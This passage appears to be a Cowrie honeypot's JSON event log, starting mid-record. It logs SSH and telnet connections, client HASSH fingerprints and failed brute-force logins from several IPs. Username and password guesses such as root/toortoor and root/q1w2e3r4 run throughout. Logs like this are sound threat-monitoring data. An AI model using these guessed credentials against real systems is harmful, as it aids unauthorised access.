istp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:57.725445Z","src_ip":"103.228.69.212","session":"d12fede9a4b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"south","message":"login attempt [root/south] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:58.692198Z","src_ip":"103.228.69.212","session":"d12fede9a4b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:59.926092Z","src_ip":"103.228.69.212","session":"d12fede9a4b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.224.206.33","src_port":60838,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c591ccd4616","protocol":"telnet","message":"New connection: 129.224.206.33:60838 (159.203.135.109:23) [session: 4c591ccd4616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:11.731321Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.224.206.33","src_port":38314,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f840127b569","protocol":"telnet","message":"New connection: 129.224.206.33:38314 (159.203.135.109:23) [session: 6f840127b569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:14.669431Z"}
{"eventid":"cowrie.session.closed","duration":120.00132870674133,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:21.953513Z","src_ip":"136.37.89.108","session":"eacdaa06ae23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":36546,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1f08f966b88","protocol":"ssh","message":"New connection: 36.92.140.209:36546 (159.203.135.109:22) [session: f1f08f966b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:33.844538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:33.849184Z","src_ip":"36.92.140.209","session":"f1f08f966b88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:34.135284Z","src_ip":"36.92.140.209","session":"f1f08f966b88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqwe@123","message":"login attempt [root/qweqwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:35.313494Z","src_ip":"36.92.140.209","session":"f1f08f966b88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00154519081116,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:35.631627Z","src_ip":"136.37.89.108","session":"1351397da004","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:36.603930Z","src_ip":"36.92.140.209","session":"f1f08f966b88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":60024,"dst_ip":"159.203.135.109","dst_port":22,"session":"710b16ac8fea","protocol":"ssh","message":"New connection: 187.16.96.250:60024 (159.203.135.109:22) [session: 710b16ac8fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:50.336404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:50.340793Z","src_ip":"187.16.96.250","session":"710b16ac8fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:50.460250Z","src_ip":"187.16.96.250","session":"710b16ac8fea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwert12345","message":"login attempt [admin/qwert12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:50.955974Z","src_ip":"187.16.96.250","session":"710b16ac8fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:52.074295Z","src_ip":"187.16.96.250","session":"710b16ac8fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":42010,"dst_ip":"10.17.0.5","dst_port":22,"session":"aca36a84e2fa","protocol":"ssh","message":"New connection: 103.228.69.212:42010 (10.17.0.5:22) [session: aca36a84e2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:53.204744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:53.209504Z","src_ip":"103.228.69.212","session":"aca36a84e2fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:53.439619Z","src_ip":"103.228.69.212","session":"aca36a84e2fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toortoor","message":"login attempt [root/toortoor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:54.393356Z","src_ip":"103.228.69.212","session":"aca36a84e2fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:43:55.628818Z","src_ip":"103.228.69.212","session":"aca36a84e2fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":41742,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8009eb8032f","protocol":"ssh","message":"New connection: 36.92.140.209:41742 (159.203.135.109:22) [session: e8009eb8032f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:44:31.170017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:44:31.174061Z","src_ip":"36.92.140.209","session":"e8009eb8032f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:44:31.454746Z","src_ip":"36.92.140.209","session":"e8009eb8032f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:44:32.610751Z","src_ip":"36.92.140.209","session":"e8009eb8032f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:44:33.895994Z","src_ip":"36.92.140.209","session":"e8009eb8032f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":58832,"dst_ip":"10.17.0.5","dst_port":22,"session":"962e6260f2fa","protocol":"ssh","message":"New connection: 103.228.69.212:58832 (10.17.0.5:22) [session: 962e6260f2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:44:50.050720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:44:50.055655Z","src_ip":"103.228.69.212","session":"962e6260f2fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:44:50.281780Z","src_ip":"103.228.69.212","session":"962e6260f2fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123cav123","message":"login attempt [root/123cav123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:44:51.218483Z","src_ip":"103.228.69.212","session":"962e6260f2fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:44:52.446332Z","src_ip":"103.228.69.212","session":"962e6260f2fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38068,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a427d126528","protocol":"telnet","message":"New connection: 147.135.136.77:38068 (159.203.135.109:23) [session: 8a427d126528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:07.382041Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38082,"dst_ip":"159.203.135.109","dst_port":23,"session":"7409e31fd0ff","protocol":"telnet","message":"New connection: 147.135.136.77:38082 (159.203.135.109:23) [session: 7409e31fd0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:08.378644Z"}
{"eventid":"cowrie.session.closed","duration":120.00114560127258,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:11.732333Z","src_ip":"129.224.206.33","session":"4c591ccd4616","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00184488296509,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:14.671176Z","src_ip":"129.224.206.33","session":"6f840127b569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50266,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa3efed2b23f","protocol":"ssh","message":"New connection: 80.94.92.184:50266 (10.17.0.5:22) [session: fa3efed2b23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:20.769244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:20.867608Z","src_ip":"80.94.92.184","session":"fa3efed2b23f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:20.996244Z","src_ip":"80.94.92.184","session":"fa3efed2b23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:21.919034Z","src_ip":"80.94.92.184","session":"fa3efed2b23f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:23.129645Z","src_ip":"80.94.92.184","session":"fa3efed2b23f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":42652,"dst_ip":"159.203.135.109","dst_port":22,"session":"46ba4d3f48c4","protocol":"ssh","message":"New connection: 36.92.140.209:42652 (159.203.135.109:22) [session: 46ba4d3f48c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:30.149175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:30.162049Z","src_ip":"36.92.140.209","session":"46ba4d3f48c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:30.448892Z","src_ip":"36.92.140.209","session":"46ba4d3f48c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz@12345","message":"login attempt [root/qaz@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:31.632377Z","src_ip":"36.92.140.209","session":"46ba4d3f48c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:32.921992Z","src_ip":"36.92.140.209","session":"46ba4d3f48c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.110429763793945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:38.492366Z","src_ip":"147.135.136.77","session":"8a427d126528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71401834487915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:39.092544Z","src_ip":"147.135.136.77","session":"7409e31fd0ff","protocol":"telnet"}
